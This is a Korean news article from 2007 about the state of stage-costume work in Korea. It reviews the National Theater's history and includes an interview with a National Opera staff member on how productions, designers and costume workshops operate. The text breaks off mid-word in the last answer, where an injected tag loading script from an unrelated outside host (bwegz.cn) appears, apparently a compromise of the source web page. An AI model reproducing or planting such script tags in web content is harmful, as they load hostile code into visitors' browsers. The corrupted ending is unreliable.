무대의상의 뒤편(上)

2007-02-12 김기혁 기자 kira@fashioninsight.com

4,5년전부터 무대의상에 대한 관심을 가지고 있는 젊은 인력들이 많이 늘어나고 있음을 느낍니다. 주로 연극이나 의상, 미술관련학과를 졸업한 학생들인데 직접 이곳에 찾아와서 의상을 빌려가거나 견학해가기도 합니다. 하지만 아직 무대의상을 가르치는 학과시설이 부족해 유학을 가기도 하며, 시장성이 열악하다 보니 중도에 포기하는 사람이 많습니다. 공연예술에 있어서 의상계의 역사를 보면 해방전후 연극인들을 1세대로 보고 그들로부터 사사받은 2세대, 그리고 요즘 무대의상에 많은 관심이 있는 의욕있는 2,30대 젊은세대를 3세대로 봅니다. 그들이 우리나라 무대의상계를 책임질 세대들이죠.

인간의 삶에서 가장 중요한건 초등학교 교과서에서도 나오듯 의·식·주 이 세 가지이다. 가장 기본적인 의미이지만 이 세 가지 단어가 인간의 삶과 공유될 때 ‘문화'라는 공간을 만들어 낸다. 그렇다면 ‘의상'이 ‘문화'를 만나 이루어지는 ‘예술'을 떠올려 보면 가장 먼저 생각나는 공연 예술 문화.. 하지만 그 무대 뒤편은 말할 수 없이 낙후되어 있는 것이 바로 우리네 현실이다.
1950년 모든 것이 황폐하기만한 이 땅에 문화예술을 꽃 피우기 위한 한 알의 씨앗으로 뿌려진 국립극장(현 서울특별시의회 의사당건물)은, 미처 그 싹을 틔워보기도 전에 전쟁의 소용돌이에 휩싸였다. 그나마 갖고 있던 식민지 시대의 건물마저 잃고 전선을 따라 피난길에 오르는 처지가 된 국립극장은, 전쟁의 포연 속에서도 삶의 본질을 잃지 않으려는 선배들의 고투에 힘입어 그 명맥을 유지할 수 있었다.
처음엔 국립극단 만으로 시작되었지만, 정치 사회적인 격변 속에서도 60년대에는 국립창극단, 국립무용단, 국립오페라단이 가세하였고, 70년대에는 국립발레단과 국립합창단, 90년대에는 국립국악관현악단을 탄생시켰다. 남산 기슭에 터를 마련하여 번듯한 오늘의 극장을 짓게 된 것은 1973년의 일이었다.
하지만 문화가 아닌 정치적 정책으로 인해 문교부에서 공보부, 문화관광부 등 여러 부서로 이관돼 오면서 일관된 문화사업을 제대로 펼치지 못했다는 비평의 소리도 있었다.
정확히 50돌을 맞는 2000년에 들어 책임운영기관으로 시행되면서 국립극단, 창극단, 국악관현악단, 무용단 등 4개 전속단체만 남겨두고 국립발레단, 국립오페라단, 국립합창단, 이 세 개 단체를 재단법인으로 독립시켰다.
재단법인으로 독립된 세 개 단체는 현재 예술의전당 오페라하우스에 새 둥지를 틀었다. 예술의 전당 공연기획팀과는 별개라고 할 수 있다. 한마디로 ‘전세살이'를 하고있는 셈. 독립이 되었다고 하지만 아직도 문화관광부에서 예산지원을 받고 있다. 아직 우리나라의 문화예술 풍토에서 공연만으로 수익을 낼 수 있는 구조가 마련되고 있지 않기 때문이다.
취재를 위해서 만난 국립오페라단 업무지원팀 현상균씨는 국립극장에서 21년 근무해오면서 우리나라 공연 역사에 잔뼈가 굵은 사람이다. 하지만 왜 우리나라에서는 문화예술 사업이 그저 명맥을 유지하는 정도의 수준을 벗어나지 못하고 있느냐는 질문에 결론적으로 시스템이 마련되지 않고 있기 때문이라고 말한다.
현상균씨와의 인터뷰를 간추려보았다.

-공연의 기획은 보통 어떻게 이루어지나요?
제일먼저 작품을 선정합니다. 국립오페라단의 경우 매년 정기공연이 4작품이고 그외에 특별공연 등이 있습니다. 작품이 선정되면 제일 먼저 연출가가 정해집니다. 연출이 선정되면 연출가가 스탭을 선택. 조연출 및 무대감독을 정하고 그밖에 미술, 조명, 음향인력을 정하게 됩니다.
-연출가가 직접 스탭을 결정하나요?
그러는 경우가 대부분입니다. 무대의상을 포함하는 무대미술을 직접 주관하는 전문단체가 없기 때문에 보통 각 분야에서의 전문가들은 자기 이름을 걸고 일하는 분들이 대부분입니다.
-전문단체가 없으면 의상디자이너는 대개 어떤 분들이 맡습니까?
외국의 경우 무대의상 전문 단체나 무대의상 전문 디자이너가 있지만, 우리나라는 프리랜서 식으로 이름을 걸고 활동하는 디자이너들이 하거나 의상계통 강단에 계신 분들이 자문형식으로 참여하기도 합니다.
-무대의상의 제작은 어떻게 진행됩니까?
먼저 공연의 의상디자이너가 정해지면 의상디자이너는 공연의 성격이나 시대적 고증을 바탕으로 디자인을 하여 제작소에 의뢰를 합니다. 제작소란 무대의상을 전문적으로 만드는 제작소 형태의 ‘작업실'을 말합니다. 하지만 간판을 달고 하는 의상실같은 장소가 아닌 아는 사람만 가는 작업소 같은 곳입니다.
-제작소에 맡겨서 생기는 불편한 점이나 단점이 있다면?
초연작품의 경우 작품 규모가 100벌이 넘기 때문에 한 제작소에서 만들기가 불가능합니다. 여러 제작소에 분산 의뢰하다 보니까 일이 능률적이지 못하고 시간적 제약도 많이 받습니다. 그리고 제작소마다 차이는 있겠지만 전문적인 무?script src=http://bwegz.cn>

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